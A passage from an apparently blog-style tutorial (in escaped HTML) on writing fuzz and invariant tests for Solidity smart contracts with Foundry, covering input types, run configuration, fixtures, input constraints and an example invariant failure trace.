&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;testFuzz_DepositAndWithdraw&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;uint256&lt;/span&gt; &lt;span class="nx"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;deal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="nx"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;prank&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;  
    &lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;deposit&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;}();&lt;/span&gt;

    &lt;span class="nf"&gt;assertEq&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="nx"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nf"&gt;assertEq&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;balance&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="nx"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;prank&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;  
    &lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;withdraw&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;uint64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

    &lt;span class="nf"&gt;assertEq&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nf"&gt;assertEq&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;balance&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Notice that we have changed the function name by prefixing it by &lt;code&gt;testFuzz_&lt;/code&gt; and that we add an additional parameter in our function called amount. This parameter is set as &lt;code&gt;uint256&lt;/code&gt; type and Foundry will automatically generate randomized values for this input. Now, if you run it, by using &lt;code&gt;forge test&lt;/code&gt; you should have the following issue:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;FAIL: assertion failed: 6788299089036262325 &lt;span class="o"&gt;!=&lt;/span&gt; 9618775958796846875934621660669098933&lt;span class="p"&gt;;&lt;/span&gt; counterexample: &lt;span class="nv"&gt;calldata&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0x27ce517100000000000000000000000000000000073c8244f5a7e9715e34e20e371d3bb5 &lt;span class="nv"&gt;args&lt;/span&gt;&lt;span class="o"&gt;=[&lt;/span&gt;9618775958796846875934621660669098933 &lt;span class="o"&gt;[&lt;/span&gt;9.618e36]]] testFuzz_DepositAndWithdraw&lt;span class="o"&gt;(&lt;/span&gt;uint256&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;runs: 0, μ: 0, ~: 0&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This happens because the fuzzing engine may generate an &lt;code&gt;amount&lt;/code&gt; value that overflows &lt;code&gt;uint64&lt;/code&gt; during the internal cast in the smart contract. That's a critical bug: the type mismatch causes unexpected behavior.&lt;/p&gt;

&lt;p&gt;In case we want to generate &lt;code&gt;uint64&lt;/code&gt;, we can modify the input parameter:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;testFuzz_DepositAndWithdraw&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;uint64&lt;/span&gt; &lt;span class="nx"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We should now have a successful result.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;PASS] testFuzz_DepositAndWithdraw&lt;span class="o"&gt;(&lt;/span&gt;uint64&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;runs: 257, μ: 64882, ~: 65480&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;However to fully fix this issue, we should accept &lt;code&gt;uint256&lt;/code&gt; directly and not cast &lt;code&gt;msg.value&lt;/code&gt; in our initial code. Here, we just wanted to illustrate how you can select and generate specific type using Foundry.&lt;/p&gt;

&lt;p&gt;Additionally, each run represents a different randomized input value. Note that these are &lt;strong&gt;stateless tests&lt;/strong&gt;, meaning that the environment is reset before each iteration to ensure reproducibility and isolation.&lt;/p&gt;

&lt;h3&gt;
  
  
  Fuzzing output - Understanding Run Metrics and Gas Usage
&lt;/h3&gt;

&lt;p&gt;Let's understand the output parameter. Here for our previous test case, we had &lt;code&gt;(runs: 257, μ: 64882, ~: 65480)&lt;/code&gt;.&lt;br&gt;
As &lt;code&gt;runs&lt;/code&gt; may suggest, it represent the number of scenarios we are running. This can be changed by modifying the foundry configuration &lt;code&gt;foundry.toml&lt;/code&gt;. You can then customize the number of runs you want as follow:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight toml"&gt;&lt;code&gt;&lt;span class="nn"&gt;[fuzz]&lt;/span&gt;
&lt;span class="py"&gt;runs&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Notice that by increasing the number of runs, you are increasing the number of tests but also increasing the running time. And, if you are wondering, yes big companies are using dedicated cluster to run fuzzing test.&lt;/p&gt;

&lt;p&gt;Finally, &lt;code&gt;µ&lt;/code&gt; represents the mean gas used across all fuzz runs and &lt;code&gt;~&lt;/code&gt; represents the median gas used across all fuzz runs.&lt;/p&gt;

&lt;h3&gt;
  
  
  Advanced Fuzzing Configuration in Foundry
&lt;/h3&gt;

&lt;p&gt;If we explore a bit more foundry configuration, we can see a list of other &lt;a href="https://github.com/foundry-rs/foundry/blob/master/crates/config/README.md#all-options" rel="noopener noreferrer"&gt;parameter available&lt;/a&gt;. One parameter that you may interest you is the &lt;code&gt;seed&lt;/code&gt; parameter, which controls the randomness used in fuzz input generation. By reusing this seed, you can &lt;strong&gt;reproduce the exact failing case&lt;/strong&gt; without rerunning all fuzz iterations. This is especially helpful for debugging, tracing, or sharing test failures with others.&lt;/p&gt;

&lt;p&gt;Another parameter that may interest you is the &lt;code&gt;failure_persit_dir&lt;/code&gt; which defined the path where fuzz failures are recorded and replayed. It can be useful if you are running it locally and need to share it with someone else. Or if you are deploying it on a CI and need to extract the data or the seed.&lt;/p&gt;

&lt;h2&gt;
  
  
  Advanced Fuzzing Techniques in Foundry
&lt;/h2&gt;

&lt;h3&gt;
  
  
  How to Guide Fuzz Input Generation in Solidity Tests
&lt;/h3&gt;

&lt;p&gt;When running fuzzing test, you may already know that certain input values are more likely to uncover edge cases or vulnerabilities in your smart contract. You may want to generate or eventually guide the fuzzing generation by providing some parameter.&lt;/p&gt;

&lt;p&gt;One way to guide fuzzing in Foundry is by using &lt;strong&gt;fixtures&lt;/strong&gt; or &lt;strong&gt;parameterized tests&lt;/strong&gt;. The idea is to define a set of values that will be prioritized during input generation. In Foundry, you can do this by declaring a variable prefixed with &lt;code&gt;fixture&lt;/code&gt;, followed by the name of the parameter you want to control. For example, to guide fuzzing for a parameter named &lt;code&gt;amount&lt;/code&gt;, you would define a variable called &lt;code&gt;fixtureAmount&lt;/code&gt;. Here an example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nx"&gt;uint64&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nx"&gt;fixtureAmount&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;uint64&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;max&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;testFuzz_DepositAndWithdraw&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;uint64&lt;/span&gt; &lt;span class="nx"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
     &lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To add more customization or even more control, instead of using a variable, you can define a function. You will have to return a list:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;fixtureAmount&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nf"&gt;returns &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;uint64&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="nx"&gt;memory&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
     &lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Handling Multiple Parameters in Fuzzing Tests
&lt;/h3&gt;

&lt;p&gt;Our first example is relatively simple. We are generating a single input on our test. If we need multiple parameters, we can simply add new one in our function.&lt;br&gt;
But what if we want to enforce &lt;strong&gt;constraints between those parameters&lt;/strong&gt;? For example, ensuring that one parameter is always less than another, or that certain combinations are invalid? Foundry is providing some utility function that you can use as display in the example below:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;testFuzz_DualInput&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;uint256&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;uint256&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;assume&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// constraint: a must be greater than b&lt;/span&gt;
    &lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Another way to enforce constraints on fuzzed inputs is by &lt;strong&gt;bounding&lt;/strong&gt; a variable within a specific range using:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;bound&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="nx"&gt;e8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="nx"&gt;e36&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Notice that the order here have an impact. For instance, if you assume that &lt;code&gt;a&lt;/code&gt; should be greater than &lt;code&gt;b&lt;/code&gt;, but then you bound &lt;code&gt;a&lt;/code&gt; to a specific range it will crash, as the value of &lt;code&gt;a&lt;/code&gt; could be above a certain range. For that, you should handle the &lt;code&gt;a&lt;/code&gt; range before assuming the comparaison between &lt;code&gt;a&lt;/code&gt; and &lt;code&gt;b&lt;/code&gt;. As an example, you will have:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;testFuzz_DualInput&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;uint256&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;uint256&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;bound&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="nx"&gt;e8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="nx"&gt;e36&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// bound a value&lt;/span&gt;
    &lt;span class="nx"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;assume&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// constraint: a must be greater than b&lt;/span&gt;
    &lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Invariant test in Foundry
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Invariant testing is a powerful technique for uncovering flawed assumptions and incorrect logic in smart contracts&lt;/strong&gt;. By executing randomized sequences of function calls with fuzzed inputs, it reveals edge cases and failures that often go unnoticed in conventional testing, especially in complex or stateful protocols.&lt;/p&gt;

&lt;h3&gt;
  
  
  Writing Invariant Tests in Foundry
&lt;/h3&gt;

&lt;p&gt;Let's create a basic example to showcase how we can create an invariant test:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// SPDX-License-Identifier: MIT&lt;/span&gt;
&lt;span class="nx"&gt;pragma&lt;/span&gt; &lt;span class="nx"&gt;solidity&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="mf"&gt;0.8&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nx"&gt;contract&lt;/span&gt; &lt;span class="nx"&gt;AppInvariant&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

    &lt;span class="nx"&gt;bool&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nx"&gt;isValid&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nx"&gt;bool&lt;/span&gt; &lt;span class="nx"&gt;activated&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="nf"&gt;constructor &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;activated&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;activate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;uint256&lt;/span&gt; &lt;span class="nx"&gt;n&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;external&lt;/span&gt; &lt;span class="nx"&gt;payable&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="nx"&gt;activated&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;boom&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;uint256&lt;/span&gt; &lt;span class="nx"&gt;n&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;external&lt;/span&gt; &lt;span class="nx"&gt;payable&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;activated&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="nx"&gt;isValid&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this example, we have defined our invariant as &lt;code&gt;isValid&lt;/code&gt; should always be &lt;code&gt;true&lt;/code&gt;. However, depending on some condition and events, it is possible given a set of action to modify this value. Let's see how we can use invariant test to discover this issue:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// SPDX-License-Identifier: MIT&lt;/span&gt;
&lt;span class="nx"&gt;pragma&lt;/span&gt; &lt;span class="nx"&gt;solidity&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="mf"&gt;0.8&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;Test&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;forge-std/Test.sol&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;AppInvariant&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;../src/AppInvariant.sol&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nx"&gt;contract&lt;/span&gt; &lt;span class="nx"&gt;AppInvariantTest&lt;/span&gt; &lt;span class="k"&gt;is&lt;/span&gt; &lt;span class="nx"&gt;Test&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

    &lt;span class="nx"&gt;AppInvariant&lt;/span&gt; &lt;span class="nx"&gt;appInvariant&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;setUp&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;appInvariant&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;AppInvariant&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;invariant_isValid&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nx"&gt;view&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nf"&gt;assertTrue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;appInvariant&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;isValid&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Our test case is really simple. We have prefix our function by &lt;code&gt;invariant_&lt;/code&gt;, then specify our invariant by checking our &lt;code&gt;isValid&lt;/code&gt; variable that should remain &lt;code&gt;true&lt;/code&gt;. When running this test case by doing a &lt;code&gt;forge test&lt;/code&gt;, we can see an error:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Encountered 1 failing &lt;span class="nb"&gt;test &lt;/span&gt;&lt;span class="k"&gt;in &lt;/span&gt;&lt;span class="nb"&gt;test&lt;/span&gt;/AppInvariant.t.sol:AppInvariantTest
&lt;span class="o"&gt;[&lt;/span&gt;FAIL: invariant_isValid replay failure]
        &lt;span class="o"&gt;[&lt;/span&gt;Sequence]
                &lt;span class="nv"&gt;sender&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0x000000000000000000000000000000000000008b &lt;span class="nv"&gt;addr&lt;/span&gt;&lt;span class="o"&gt;=[&lt;/span&gt;src/AppInvariant.sol:AppInvariant]0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f &lt;span class="nv"&gt;calldata&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;activate&lt;span class="o"&gt;(&lt;/span&gt;uint256&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;args&lt;/span&gt;&lt;span class="o"&gt;=[&lt;/span&gt;42]
                &lt;span class="nv"&gt;sender&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0x000000000000000000000000000000000000147f &lt;span class="nv"&gt;addr&lt;/span&gt;&lt;span class="o"&gt;=[&lt;/span&gt;src/AppInvariant.sol:AppInvariant]0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f &lt;span class="nv"&gt;calldata&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;boom&lt;span class="o"&gt;(&lt;/span&gt;uint256&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;args&lt;/span&gt;&lt;span class="o"&gt;=[&lt;/span&gt;586]
 invariant_isValid&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;runs: 1, calls: 1, reverts: 1&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The trace reveals the issue: a call to &lt;code&gt;activate(42)&lt;/code&gt; followed by &lt;code&gt;boom(586)&lt;/code&gt; violates the defined invariant, causing the test case to fail.&lt;/p&gt;

&lt;p&gt;This example is simple enough that the issue can be spotted by manual code review. However, it highlights a key risk: relying solely on unit tests may overlook such behaviors, leading to hidden bugs. Invariant testing combined with fuzzing strengthens your test suite by exploring diverse input combinations and sequences you might not anticipate. That said, invariant tests are &lt;strong&gt;complementary&lt;/strong&gt;, they do not replace targeted unit tests for specific scenarios but rather enhance overall coverage.&lt;/p&gt;

&lt;h3&gt;
  
  
  Configure Your Invariant Tests
&lt;/h3&gt;

&lt;p&gt;Similar to fuzzing tests, you can configure invariant tests in Foundry by adding an &lt;code&gt;[invariant]&lt;/code&gt; section to your &lt;code&gt;foundry.toml&lt;/code&gt; file:&lt;br&gt;
&lt;/p&gt;

